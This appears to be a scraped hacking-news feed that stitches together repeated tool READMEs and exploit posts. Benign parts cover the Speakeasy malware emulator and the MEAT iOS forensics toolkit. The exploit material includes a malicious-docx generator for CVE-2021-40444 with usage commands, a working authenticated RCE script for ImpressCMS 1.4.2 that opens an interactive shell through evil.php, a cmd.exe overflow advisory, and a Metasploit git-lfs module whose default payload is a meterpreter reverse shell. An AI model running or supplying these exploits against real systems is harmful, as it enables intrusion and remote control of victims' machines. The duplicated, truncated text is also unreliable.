Hey Guys so this is my first blog . so i thought maybe give it try to show people how you could find bugs in a easy wayContinue reading on Medium » (https://mrpentestguy.medium.com/how-i-was-able-to-find-100-xss-in-united-nations-bug-bounty-program-a675573c006d?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!CVE-2021-40444 PoC - Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)
You need to install lcab first (
Check
If your generated cab is not working, try pointing out exploit.html URL to calc.cab
Using
First generate a malicious docx document given a DLL, you can use the one at
Once you generate the malicious docx (will be at
Finally try the docx in a Windows Virtual Machine:
Download CVE-2021-40444
Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)
You need to install lcab first (
sudo apt-get install lcab)Check
REPRODUCE.mdfor manual reproduce stepsIf your generated cab is not working, try pointing out exploit.html URL to calc.cab
Using
First generate a malicious docx document given a DLL, you can use the one at
test/calc.dllwhich just pops a calc.exefrom a call to system()python3 exploit.py generate test/calc.dll http://<SRV IP>Once you generate the malicious docx (will be at
out/) you can setup the server:sudo python3 exploit.py host 80Finally try the docx in a Windows Virtual Machine:
Download CVE-2021-40444
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsSpeakeasy : Windows Kernel And User Mode Emulation
Speakeasy is a portable, modular, binary emulator designed to emulate Windows kernel and user mode malware.
Check out the overview in the first Speakeasy blog post.
Instead of attempting to perform dynamic analysis using an entire virtualized operating system, Speakeasy will emulate specific components of Windows. Specifically, by emulating operating system APIs, objects, running processes/threads, filesystems, and networks it should be possible to present an environment where samples can fully “execute”. Samples can be easily emulated in a container or in cloud services which allow for great scalability of many samples to be simultaneously analyzed. Currently, Speakeasy supports both user mode and kernel mode Windows applications.
Before emulating, entry points are identified within the binary. For example, exported functions are all identified and emulated sequentially. Additionally, dynamic entry points (e.g. new threads, registered callbacks, IRP handlers) that are discovered at runtime are also emulated. The goal here is to have as much code coverage as possible during emulation. Events are logged on a per-entry-point basis so that functionality can be attributed to specific functions or exports.
Speakeasy is currently written entirely in Python 3 and relies on the Unicorn emulation engine in order to emulate CPU instructions. The CPU emulation engine can be swapped out and there are plans to support other engines in the future.
APIs are emulated in Python code in order to handle their expected inputs and outputs in order to keep malware on their “happy path”. These APIs and their structure should be consistent with the API documentation provided by Microsoft.
Installation
Speakeasy can be executed in a docker container, as a stand-alone script, or in cloud services. The easiest method of installation is by first installing the required package dependencies, and then running the included setup.py script (replace “python3” with your current Python3 interpreter):
cd
python3 -m pip install -r requirements.txt
python3 setup.py install
A docker file is also included in order to build a docker image, however, Speakeasy’s dependencies can be installed on the local system and run from Python directly.
Running within a docker container
The included Dockerfile can be used to generate a docker image.
Building the docker image
* Build the Docker image; the following commands will create a container with the tag named “my_tag”:
cd
docker build -t “my_tag”
* Run the Docker image and create a local volume in
docker run -v :/sandbox -it “my_tag”
Usage
As a library
Speakeasy can be imported and used as a general purpose Windows emulation library. The main public interface named
Below is a quick example of how to emulate a Windows DLL:
import speakeasy
# Get a speakeasy object
se = speakeasy.Speakeasy()
# Load a DLL into the emulation space
module = se.load_module(“myfile.dll”)
# Emulate the DLL’s entry point (i.e. DllMain)
se.run_module(module)
# Set up some args for the export
arg0 = 0x0
arg1 = 0x1
# Walk the DLLs exports
for exp in module.get_exports():
if exp.name == ‘myexport’:
# Call an export named ‘myexport’ and emulate it
se.call(exp.address, [arg0, arg1])
# Get the emulation report
report = se.get_report()
# Do something with the report; parse it or save it off for post-processing
For more examples, see the examples directory.
As a standalone command line tool
For users w[...]
Speakeasy is a portable, modular, binary emulator designed to emulate Windows kernel and user mode malware.
Check out the overview in the first Speakeasy blog post.
Instead of attempting to perform dynamic analysis using an entire virtualized operating system, Speakeasy will emulate specific components of Windows. Specifically, by emulating operating system APIs, objects, running processes/threads, filesystems, and networks it should be possible to present an environment where samples can fully “execute”. Samples can be easily emulated in a container or in cloud services which allow for great scalability of many samples to be simultaneously analyzed. Currently, Speakeasy supports both user mode and kernel mode Windows applications.
Before emulating, entry points are identified within the binary. For example, exported functions are all identified and emulated sequentially. Additionally, dynamic entry points (e.g. new threads, registered callbacks, IRP handlers) that are discovered at runtime are also emulated. The goal here is to have as much code coverage as possible during emulation. Events are logged on a per-entry-point basis so that functionality can be attributed to specific functions or exports.
Speakeasy is currently written entirely in Python 3 and relies on the Unicorn emulation engine in order to emulate CPU instructions. The CPU emulation engine can be swapped out and there are plans to support other engines in the future.
APIs are emulated in Python code in order to handle their expected inputs and outputs in order to keep malware on their “happy path”. These APIs and their structure should be consistent with the API documentation provided by Microsoft.
Installation
Speakeasy can be executed in a docker container, as a stand-alone script, or in cloud services. The easiest method of installation is by first installing the required package dependencies, and then running the included setup.py script (replace “python3” with your current Python3 interpreter):
cd
python3 -m pip install -r requirements.txt
python3 setup.py install
A docker file is also included in order to build a docker image, however, Speakeasy’s dependencies can be installed on the local system and run from Python directly.
Running within a docker container
The included Dockerfile can be used to generate a docker image.
Building the docker image
* Build the Docker image; the following commands will create a container with the tag named “my_tag”:
cd
docker build -t “my_tag”
* Run the Docker image and create a local volume in
/sandbox:docker run -v :/sandbox -it “my_tag”
Usage
As a library
Speakeasy can be imported and used as a general purpose Windows emulation library. The main public interface named
Speakeasy should be used when interacting with the framework. The lower level emulator objects can also be used, however their interfaces may change in the future and may lack documentation.Below is a quick example of how to emulate a Windows DLL:
import speakeasy
# Get a speakeasy object
se = speakeasy.Speakeasy()
# Load a DLL into the emulation space
module = se.load_module(“myfile.dll”)
# Emulate the DLL’s entry point (i.e. DllMain)
se.run_module(module)
# Set up some args for the export
arg0 = 0x0
arg1 = 0x1
# Walk the DLLs exports
for exp in module.get_exports():
if exp.name == ‘myexport’:
# Call an export named ‘myexport’ and emulate it
se.call(exp.address, [arg0, arg1])
# Get the emulation report
report = se.get_report()
# Do something with the report; parse it or save it off for post-processing
For more examples, see the examples directory.
As a standalone command line tool
For users w[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux TutorialsSpeakeasy : Windows Kernel And User Mode Emulation Speakeasy is a portable, modular, binary emulator designed to emulate Windows kernel and user mode malware. Check out the overview in the first Speakeasy blog post. Instead of attempting…
ho don’t wish to programatically interact with the speakeasy framework as a library, a standalone script is provided to automatically emulate Windows binaries. Speakeasy can be invoked via the
usage: run_speakeasy.py [-h] [-t TARGET] [-o OUTPUT] [-p [PARAMS …]] [-c CONFIG] [-m] [-r] [–raw_offset RAW_OFFSET]
[-a ARCH] [-d DUMP_PATH] [-q TIMEOUT] [-z DROP_FILES_PATH] [-l MODULE_DIR] [-k] [–no-mp]
Emulate a Windows binary with speakeasy
optional arguments:
-h, –help show this help message and exit
-t TARGET, –target TARGET
Path to input file to emulate
-o OUTPUT, –output OUTPUT
Path to output file to save report
-p [PARAMS …], –params [PARAMS …]
Commandline parameters to supply to emulated process (e.g. main(argv))
-c CONFIG, –config CONFIG
Path to emulator config file
-m, –mem-tracing Enables memory tracing. This will log all memory access by the sample but will impact speed
-r, –raw Attempt to emulate file as-is with no parsing (e.g. shellcode)
–raw_offset RAW_OFFSET
When in raw mode, offset (hex) to start emulating
-a ARCH, –arch ARCH Force architecture to use during emulation (for multi-architecture files or shellcode). Supported
archs: [ x86 | amd64 ]
-d DUMP_PATH, –dump DUMP_PATH
Path to store compressed memory dump package
-q TIMEOUT, –timeout TIMEOUT
Emulation timeout in seconds (default 60 sec)
-z DROP_FILES_PATH, –dropped-files DROP_FILES_PATH
Path to store files created during emulation
-l MODULE_DIR, –module-dir MODULE_DIR
Path to directory containing loadable PE modules. When modules are parsed or loaded by samples, PEs
from this directory will be loaded into the emulated address space
-k, –emulate-children
Emulate any processes created with the CreateProcess APIs after the input file finishes emulating
–no-mp Run emulation in the current process to assist instead of a child process. Useful when
debuggingspeakeasy itself (using pdb.set_trace()).
Examples
Emulating a Windows driver:
user@mybox:~/speakeasy$ python3 run_speakeasy.py -t ~/drivers/MyDriver.sys
Emulating 32-bit Windows shellcode:
user@mybox:~/speakeasy$ python3 run_speakeasy.py -t ~/sc.bin -r -a x86
Emulating 64-bit Windows shellcode and create a full memory dump:
user@mybox:~/speakeasy$ python3 run_speakeasy.py -t ~/sc.bin -r -a x64 -d memdump.zip
Configuration
Speakeasy uses configuration files that describe the environment that is presented to the emulated binaries. For a full description of these fields see the README here.
Memory Management
Speakeasy implements a lightweight memory manager on top of the emulator engine’s memory management. Each chunk of memory allocated by malware is tracked and tagged so that meaningful memory dumps can be acquired. Being able to attribute activity to specific chunks of memory can prove to be extremely useful for analysts. Logging memory reads and writes to sensitive data structures can reveal the true intent of malware not revealed by API call logging which is particularly useful for samples such as rootkits.
Speed
Because Speakeasy is written in Python, speed is an obvious concern. Transitioning between native code and Python is extremely expensive and should be done as little as possible. Therefore, the goal is to only execute Python code when it is absolutely necessary. By default, the only events handled in Python are memory access exceptions or Windows API calls. In order to catch Windows API calls and emulate them in Python, import tables are doped with invalid memory addresses so that Python code is only executed when import tables are accessed. Similar techniques are used for when she[...]
run_speakeasy.py script located within the base repo directory. This script will parse a specified PE and invoke the appropriate emulator (kernel mode or user mode). The script’s parameters are shown below.usage: run_speakeasy.py [-h] [-t TARGET] [-o OUTPUT] [-p [PARAMS …]] [-c CONFIG] [-m] [-r] [–raw_offset RAW_OFFSET]
[-a ARCH] [-d DUMP_PATH] [-q TIMEOUT] [-z DROP_FILES_PATH] [-l MODULE_DIR] [-k] [–no-mp]
Emulate a Windows binary with speakeasy
optional arguments:
-h, –help show this help message and exit
-t TARGET, –target TARGET
Path to input file to emulate
-o OUTPUT, –output OUTPUT
Path to output file to save report
-p [PARAMS …], –params [PARAMS …]
Commandline parameters to supply to emulated process (e.g. main(argv))
-c CONFIG, –config CONFIG
Path to emulator config file
-m, –mem-tracing Enables memory tracing. This will log all memory access by the sample but will impact speed
-r, –raw Attempt to emulate file as-is with no parsing (e.g. shellcode)
–raw_offset RAW_OFFSET
When in raw mode, offset (hex) to start emulating
-a ARCH, –arch ARCH Force architecture to use during emulation (for multi-architecture files or shellcode). Supported
archs: [ x86 | amd64 ]
-d DUMP_PATH, –dump DUMP_PATH
Path to store compressed memory dump package
-q TIMEOUT, –timeout TIMEOUT
Emulation timeout in seconds (default 60 sec)
-z DROP_FILES_PATH, –dropped-files DROP_FILES_PATH
Path to store files created during emulation
-l MODULE_DIR, –module-dir MODULE_DIR
Path to directory containing loadable PE modules. When modules are parsed or loaded by samples, PEs
from this directory will be loaded into the emulated address space
-k, –emulate-children
Emulate any processes created with the CreateProcess APIs after the input file finishes emulating
–no-mp Run emulation in the current process to assist instead of a child process. Useful when
debuggingspeakeasy itself (using pdb.set_trace()).
Examples
Emulating a Windows driver:
user@mybox:~/speakeasy$ python3 run_speakeasy.py -t ~/drivers/MyDriver.sys
Emulating 32-bit Windows shellcode:
user@mybox:~/speakeasy$ python3 run_speakeasy.py -t ~/sc.bin -r -a x86
Emulating 64-bit Windows shellcode and create a full memory dump:
user@mybox:~/speakeasy$ python3 run_speakeasy.py -t ~/sc.bin -r -a x64 -d memdump.zip
Configuration
Speakeasy uses configuration files that describe the environment that is presented to the emulated binaries. For a full description of these fields see the README here.
Memory Management
Speakeasy implements a lightweight memory manager on top of the emulator engine’s memory management. Each chunk of memory allocated by malware is tracked and tagged so that meaningful memory dumps can be acquired. Being able to attribute activity to specific chunks of memory can prove to be extremely useful for analysts. Logging memory reads and writes to sensitive data structures can reveal the true intent of malware not revealed by API call logging which is particularly useful for samples such as rootkits.
Speed
Because Speakeasy is written in Python, speed is an obvious concern. Transitioning between native code and Python is extremely expensive and should be done as little as possible. Therefore, the goal is to only execute Python code when it is absolutely necessary. By default, the only events handled in Python are memory access exceptions or Windows API calls. In order to catch Windows API calls and emulate them in Python, import tables are doped with invalid memory addresses so that Python code is only executed when import tables are accessed. Similar techniques are used for when she[...]
Hacking Articles Tips Tricks Videos Tutorials
ho don’t wish to programatically interact with the speakeasy framework as a library, a standalone script is provided to automatically emulate Windows binaries. Speakeasy can be invoked via the run_speakeasy.py script located within the base repo…
llcode accesses the export tables of DLLs loaded within the emulated address space of shellcode. By executing as little Python code as possible, reasonable speeds can be achieved while still allowing users to rapidly develop capabilities for the framework.
Limitations
Since we do not rely on a physical OS to handle API calls, object and memory allocation, and I/O operations, these responsibilities fall to the emulator. Upon emulating multiple samples, users are likely to encounter samples that do not fully emulate. This can most likely be attributed to missing API handlers, specific OS implementation details, or environmental factors. For more details see doc/limitations.
Module export parsing
Many malware samples such as shellcode will attempt to manually parse the export tables of PE modules in order resolve API function pointers. An attempt is made to make “decoy” export tables using the emulated function names currently supported but this may not be enough for some samples. The configuration files support two fields named
Adding API handlers
Like most emulators, API calls made to the OS are handled by the framework. Emulated API handlers can be added by simply defining a function with the correct name in its corresponding emulated module. Depending on the outputs expected by the API, it may be sufficient enough to simply return a success code. The argument count must be specified in order for the stack to be cleaned up correctly. If no calling convention is specified, stdcall is assumed. The argument list is passed to the emulated function as raw integers.
Below is an example of an API handler for the HeapAlloc function in the kernel32 module.
@apihook(‘HeapAlloc’, argc=3)
def HeapAlloc(self, emu, argv, ctx={}):
”’
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
”’
hHeap, dwFlags, dwBytes = argv
chunk = self.heap_alloc(dwBytes, heap=’HeapAlloc’)
if chunk:
emu.set_last_error(windefs.ERROR_SUCCESS)
return chunk
Download
Limitations
Since we do not rely on a physical OS to handle API calls, object and memory allocation, and I/O operations, these responsibilities fall to the emulator. Upon emulating multiple samples, users are likely to encounter samples that do not fully emulate. This can most likely be attributed to missing API handlers, specific OS implementation details, or environmental factors. For more details see doc/limitations.
Module export parsing
Many malware samples such as shellcode will attempt to manually parse the export tables of PE modules in order resolve API function pointers. An attempt is made to make “decoy” export tables using the emulated function names currently supported but this may not be enough for some samples. The configuration files support two fields named
module_directory_x86 and module_directory_x64. These fields are directories that can contain DLLs or other modules that are loaded into the virtual address space of the emulated sample. There is also a command line option (-l) that can specify this directory at runtime. This can be useful for samples that do deep parsing of PE modules that are expected to be loaded within memory.Adding API handlers
Like most emulators, API calls made to the OS are handled by the framework. Emulated API handlers can be added by simply defining a function with the correct name in its corresponding emulated module. Depending on the outputs expected by the API, it may be sufficient enough to simply return a success code. The argument count must be specified in order for the stack to be cleaned up correctly. If no calling convention is specified, stdcall is assumed. The argument list is passed to the emulated function as raw integers.
Below is an example of an API handler for the HeapAlloc function in the kernel32 module.
@apihook(‘HeapAlloc’, argc=3)
def HeapAlloc(self, emu, argv, ctx={}):
”’
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
”’
hHeap, dwFlags, dwBytes = argv
chunk = self.heap_alloc(dwBytes, heap=’HeapAlloc’)
if chunk:
emu.set_last_error(windefs.ERROR_SUCCESS)
return chunk
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsMEAT : This Toolkit Aims To Help Forensicators Perform Different Kinds Of Acquisitions On iOS Devices
MEAT aims to help forensicators perform different kinds of acquisitions on iOS devices (and Android in the future).
Requirements to run from source
* Windows or Linux
* Python 3.7.4 or 3.7.2
* Pip packages seen in requirements.txt
Types of Acquisitions Supported
iOS Devices
Logical
Using the logical acquisition flag on MEAT will instruct the tool to extract files and folders accessible through AFC on jailed devices. The specific folder that allows access is: \private\var\mobile\Media, which includes fodlers such as:
* AirFair
* Books
* DCIM
* Downloads
* general_storage
* iTunes_Control
* MediaAnalysis
* PhotoData
* Photos
* PublicStaging
* Purchases
* Recordings
Filesystem
iOS Device Prerequisites
* Jailbroken iOS Device
* AFC2 Installed via Cydia
Using the filesystem acquisition flag on MEAT will instruct the tool to start the AFC2 service and copy all files and fodlers back to the host machine.
This method requires the device to be jailbroken with the following package installed:
* Apple File Conduit 2
This method can also be changed by the user using the -filesystemPath flag to instruct MEAT to only extract up a specified folder, useful if you’re doing app analysis and only want the app data.
MEAT Help
usage: MEAT.py [-h] [-iOS] [-filesystem] [-filesystemPath FILESYSTEMPATH]
[-logical] [-md5] [-sha1] -o OUTPUTDIR [-v]
MEAT – Mobile Evidence Acquisition Toolkit
optional arguments:
-h, –help show this help message and exit
-iOS Perform Acquisition on iOS Device
-filesystem Perform Filesystem Acquisition –
-filesystemPath FILESYSTEMPATH
Path on target device to acquire. Only use with –filesystem argument
Default will be “/”
-logical Perform Logical Acquisition
iOS – Uses AFC to gain access to jailed content
-md5 Hash pulled files with the MD5 Algorithm. Outputs to Hash_Table.csv
-sha1 Hash pulled files with the SHA-1 Algorithm. Outputs to Hash_Table.csv
-o OUTPUTDIR Directory to store results
-v increase output verbosity
Devices tested on
iPhone X iOS 13.3 iPhone XS iOS 12.4
Download
MEAT aims to help forensicators perform different kinds of acquisitions on iOS devices (and Android in the future).
Requirements to run from source
* Windows or Linux
* Python 3.7.4 or 3.7.2
* Pip packages seen in requirements.txt
Types of Acquisitions Supported
iOS Devices
Logical
Using the logical acquisition flag on MEAT will instruct the tool to extract files and folders accessible through AFC on jailed devices. The specific folder that allows access is: \private\var\mobile\Media, which includes fodlers such as:
* AirFair
* Books
* DCIM
* Downloads
* general_storage
* iTunes_Control
* MediaAnalysis
* PhotoData
* Photos
* PublicStaging
* Purchases
* Recordings
Filesystem
iOS Device Prerequisites
* Jailbroken iOS Device
* AFC2 Installed via Cydia
Using the filesystem acquisition flag on MEAT will instruct the tool to start the AFC2 service and copy all files and fodlers back to the host machine.
This method requires the device to be jailbroken with the following package installed:
* Apple File Conduit 2
This method can also be changed by the user using the -filesystemPath flag to instruct MEAT to only extract up a specified folder, useful if you’re doing app analysis and only want the app data.
MEAT Help
usage: MEAT.py [-h] [-iOS] [-filesystem] [-filesystemPath FILESYSTEMPATH]
[-logical] [-md5] [-sha1] -o OUTPUTDIR [-v]
MEAT – Mobile Evidence Acquisition Toolkit
optional arguments:
-h, –help show this help message and exit
-iOS Perform Acquisition on iOS Device
-filesystem Perform Filesystem Acquisition –
-filesystemPath FILESYSTEMPATH
Path on target device to acquire. Only use with –filesystem argument
Default will be “/”
-logical Perform Logical Acquisition
iOS – Uses AFC to gain access to jailed content
-md5 Hash pulled files with the MD5 Algorithm. Outputs to Hash_Table.csv
-sha1 Hash pulled files with the SHA-1 Algorithm. Outputs to Hash_Table.csv
-o OUTPUTDIR Directory to store results
-v increase output verbosity
Devices tested on
iPhone X iOS 13.3 iPhone XS iOS 12.4
Download
My first Hall of Fame
Hello ppl ! This is Gnana Aravind, with a new write-up on how i got my first Hall of Fame. So first of all a HOF is something like an…Continue reading on Medium »
Read more...
Hello ppl ! This is Gnana Aravind, with a new write-up on how i got my first Hall of Fame. So first of all a HOF is something like an…Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Impress CMS 1.4.2 Remote Code Execution
https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Impress CMS version 1.4.2 suffers from a remote code execution vulnerability.
MD5 |
Download
Impress CMS 1.4.2 Remote Code Execution
https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Impress CMS version 1.4.2 suffers from a remote code execution vulnerability.
MD5 |
b5b8bed1d350a7ecfb420df6d0d87975Download
# Exploit Title: ImpressCMS 1.4.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 15-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.impresscms.org/
# Software Link: https://www.impresscms.org/modules/downloads/
# Version: 1.4.2
# Category: Webapps
# Tested on: Linux/Windows
# ImpressCMS is a multilingual content management system for the web
# Contains an endpoint that allows remote access
# Autotask page misconfigured, causing security vulnerability
# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
import requests
import argparse
import sys
from time import sleep
session = requests.session()
def main():
parser = argparse.ArgumentParser(description='Impresscms Version 1.4.2 - Remote Code Execution (Authenticated)')
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-l', '--login', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\nImpresscms Version 1.4.2 - Remote Code Execution (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
exploit(args)
def countdown(time_sec):
while time_sec:
mins, secs = divmod(time_sec, 60)
timeformat = '{:02d}'.format(secs)
print("["+timeformat+"] The task is expected to run!", end='\r')
sleep(1)
time_sec -= 1
def exploit(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)
else:
print("\n[?] Check Adress...\n")
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)
try:
response = requests.get(args.host)
if response.status_code != 200:
print("[-] Address not reachable!")
sleep(2)
exit(1)
except requests.ConnectionError as exception:
print("[-] Address not reachable")
exit(1)
response = requests.get(args.host + "/evil.php")
if response.status_code == 200:
print("[*] Exploit file exists!\n")
sleep(2)
print("[+] Exploit Done!\n")
while True:
cmd = input("$ ")
url = args.host + "/evil.php?cmd=" + cmd
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
}
response = requests.post(url, headers=headers, timeout=5)
if response.text == "":
print(cmd + ": command not found\n")
else:
print(response.te[...]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Microsoft Windows cmd.exe Stack Buffer Overflow
https://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png
Microsoft Windows cmd.exe suffers from a stack buffer overflow vulnerability.
MD5 |
Download
Microsoft Windows cmd.exe Stack Buffer Overflow
https://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png
Microsoft Windows cmd.exe suffers from a stack buffer overflow vulnerability.
MD5 |
4135a0b3c0d59c65ab1f2e814a5b7aeeDownload
[+] Credits: John Page (aka hyp3rlinx, malvuln)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CMD.EXE-STACK-BUFFER-OVERFLOW.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
cmd.exe is the default command-line interpreter for the OS/2, eComStation, ArcaOS, Microsoft Windows (Windows NT family and Windows CE family), and ReactOS operating systems.
[Vulnerability Type]
Stack Buffer Overflow
[CVE Reference]
N/A
[Security Issue]
Specially crafted payload will trigger a Stack Buffer Overflow in the NT Windows "cmd.exe" commandline interpreter. Requires running an already dangerous file type like .cmd or .bat. However, when cmd.exe accepts arguments using /c /k flags which execute commands specified by string, that will also trigger the buffer overflow condition.
E.g. cmd.exe /c <payload.
[Memory Dump]
(660.12d4): Stack buffer overflow - code c0000409 (first/second chance not available)
ntdll!ZwWaitForMultipleObjects+0x14:
00007ffb`00a809d4 c3 ret
0:000> .ecxr
rax=0000000000000022 rbx=000002e34d796890 rcx=00007ff7c0e492c0
rdx=00007ff7c0e64534 rsi=000000000000200e rdi=000000000000200c
rip=00007ff7c0e214f8 rsp=000000f6a82ff0a0 rbp=000000f6a82ff1d0
r8=000000000000200c r9=00007ff7c0e60520 r10=0000000000000000
r11=0000000000000000 r12=000002e34d77a810 r13=0000000000000002
r14=000002e34d796890 r15=000000000000200d
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
cmd!StripQuotes+0xa8:
00007ff7`c0e214f8 cc int 3
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
cmd!StripQuotes+a8
00007ff7`c0e214f8 cc int 3
EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00007ff7c0e214f8 (cmd!StripQuotes+0x00000000000000a8)
ExceptionCode: c0000409 (Stack buffer overflow)
ExceptionFlags: 00000001
NumberParameters: 1
Parameter[0]: 0000000000000008
PROCESS_NAME: cmd.exe
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - [...]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Git git-lfs Remote Code Execution
https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
This Metasploit modules exploits a critical vulnerability in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, which allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker’s malicious repository using a vulnerable Git version control tool.
MD5 |
Download
Git git-lfs Remote Code Execution
https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
This Metasploit modules exploits a critical vulnerability in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, which allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker’s malicious repository using a vulnerable Git version control tool.
MD5 |
15523ed242b4fcf0e41eea300eaeb7ceDownload
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Git
include Msf::Exploit::Git::Lfs
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',
'Description' => %q{
A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for
versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked
into cloning the attacker’s malicious repository using a vulnerable Git version control tool
},
'Author' => [
'Dawid Golunski ', # Discovery
'space-r7', # Guidance, git mixins
'jheysel-r7' # Metasploit module
],
'References' => [
['CVE', '2020-27955'],
['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']
],
'DisclosureDate' => '2020-11-04', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Git LFS <=
{
'Platform' => ['win']
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
ARTIFACTS_ON_DISK
]
}
)
)
register_options([
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
])
deregister_options('RHOSTS')
end
def setup_repo_structure
payload_fname = 'git.exe'
@hook_payload = generate_payload_exe
ptr_file = generate_pointer_file(@hook_payload)
git_payload_ptr = GitObject.build_blob_object(ptr_file)
git_attr_fname = '.gitattributes'
git_attr_content = "#{payload_fname[...]